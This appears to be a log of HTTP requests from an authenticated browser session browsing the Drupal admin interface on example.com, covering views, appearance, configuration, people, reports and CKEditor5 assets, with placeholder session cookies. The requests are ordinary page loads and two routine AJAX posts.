||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxtjVEKxDAIRC-UbY60aCJFmlUxpuzxN5QtpdA_570ZRF7fxkYZ_0fCpmXL1YdBW47wgBaoH5ZUVIK-MaCd9iKvxrL1WXE6JZTgnQ5x49XVcESo3HAANnLqptLnLgnsvEKwSub5xWV2LvYD225Okg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_SCXoTr9vN6hZiPM6C11NFP3oxLk6RnPB0IqXzA11Yqw.css?delta=0&language=en&theme=claro&include=eJxtjkEOwyAMBD8U4E0GrMaKsZFjoqqvL1VacelxZ0erzazlSNVGB475EyLURrIVFcenD-Bfu0hgkuOcimEq2roKip9R4KIHOKmE4KqcwUIe7iq3-t2ppv0PdsiMO0JFu7moNWB64baGE80PJlNf7A0P1Uwv", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_XNws43iU5klsxMgxmee1XUhMpXK6wUYiEyUy32Zk_Z4.css?delta=1&language=en&theme=claro&include=eJxtjkEOwyAMBD8U4E0GrMaKsZFjoqqvL1VacelxZ0erzazlSNVGB475EyLURrIVFcenD-Bfu0hgkuOcimEq2roKip9R4KIHOKmE4KqcwUIe7iq3-t2ppv0PdsiMO0JFu7moNWB64baGE80PJlNf7A0P1Uwv", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/views", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_9jp0Ks7ap-7-ZCIp65X0Z6Dp_lLzTnFyXr9PrernROs.css?delta=0&language=en&theme=claro&include=eJxVj0EOwyAMBD8UwpMqBxBya2xkTJr29UVqJJLraLy7DgQqPpNsQK7Zh5DzEoQtHdaBfNRegdZJ3DBebSiafJBShRNbWxl2zGAo7JyJ0Abqtm4m_FfPHHjCcQMRgSTfkUq9nrJoAcJvWmaJx7FHediTLTumd3t09BAL8np-8wMX8lhJ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css__5y-CaSwUlbXduvNLQPZBVyDUdtabORZbS0ZhFIiGQo.css?delta=1&language=en&theme=claro&include=eJxVj0EOwyAMBD8UwpMqBxBya2xkTJr29UVqJJLraLy7DgQqPpNsQK7Zh5DzEoQtHdaBfNRegdZJ3DBebSiafJBShRNbWxl2zGAo7JyJ0Abqtm4m_FfPHHjCcQMRgSTfkUq9nrJoAcJvWmaJx7FHediTLTumd3t09BAL8np-8wMX8lhJ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/views/view/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css__5y-CaSwUlbXduvNLQPZBVyDUdtabORZbS0ZhFIiGQo.css?delta=1&language=en&theme=claro&include=eJxtj1sKwzAMBC8Ux0cq69gYtYoUZDl9nL6GBkKgv8Nod7UwTGNlTeDQ_M0kdVpUvLy8g2O2voHnk4RhPNpQrMRF102liLdZsFOFk0oIrsoJFlJ3V_mpRw7ueF1AJrDWKzLd_pw6EpdsOGRRW8H0KdNZHWmsNBnyyaadyrPdOkXklWQ-fvwC-TFgqQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/structure/views/view/content/preview/page_1?_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": "live_preview=1&view_args=&form_build_id=form-F3rj5YfR2asqg9sweZNjFfkXTvF0TvHucDW4zRpICrQ&form_token=2RiXwzIOzgnAYh4frV_Aykfi5NgGwuk_dGZCLtCUxjg&form_id=view_preview_form&_triggering_element_name=op&_triggering_element_value=Update+preview&_drupal_ajax=1&ajax_page_state%5Btheme%5D=claro&ajax_page_state%5Btheme_token%5D=5e5HEgjfZ80aNQxNU9VRZE4_hDmt-aGjuwXr5qcCy0E&ajax_page_state%5Blibraries%5D=eJxVjlEKgzAQBS9kkiOVF13CtuuuJBurPX1LbRH_hmF4vMzltvBCKf9gGAXVUhHLkNB8F9YyjKZOm3dImmpfIPE04VM82ieplEabF1NSb1GxcoGzaQhuJhk15O5ueqS_HYzOK303Ln5iiJWIO7aLbw6ndlGOLDRVlMOq1RnCLxrOC-nEKNit-7AyPdutc_pDxDSzvgGedGns"}
|
||||
{"method": "GET", "target": "/admin/structure/menu", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/appearance", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/claro/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/olivero/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/stark/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/default_admin/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/modules/uninstall", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/system/site-information", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/content/formats", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/content/formats/manage/basic_html", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/assets/vendor/ckeditor5/ckeditor5-dll/ckeditor5-dll.js?v=47.6.3-drupal.1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/content/formats/manage/basic_html", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/redo.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/undo.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/special-characters.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/underline.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/code-block.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/strikethrough.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/media/image-styles", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/development/performance", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people/create", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people/permissions", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people/roles", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/reports", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/reports/dblog", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/reports/dblog", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dwatchdog%3Alocation%3Dpage%26name%3Dwatchdog%26display_id%3Dpage%26langcode%3Den&tokens%5B%5D=grWQXBmsSApIJa_jk7wHiazbuliDJvCCmFVgCnqCxiM"}
|
||||
{"method": "GET", "target": "/admin/reports/status", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/reports/updates", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/help", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/modules/browse", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
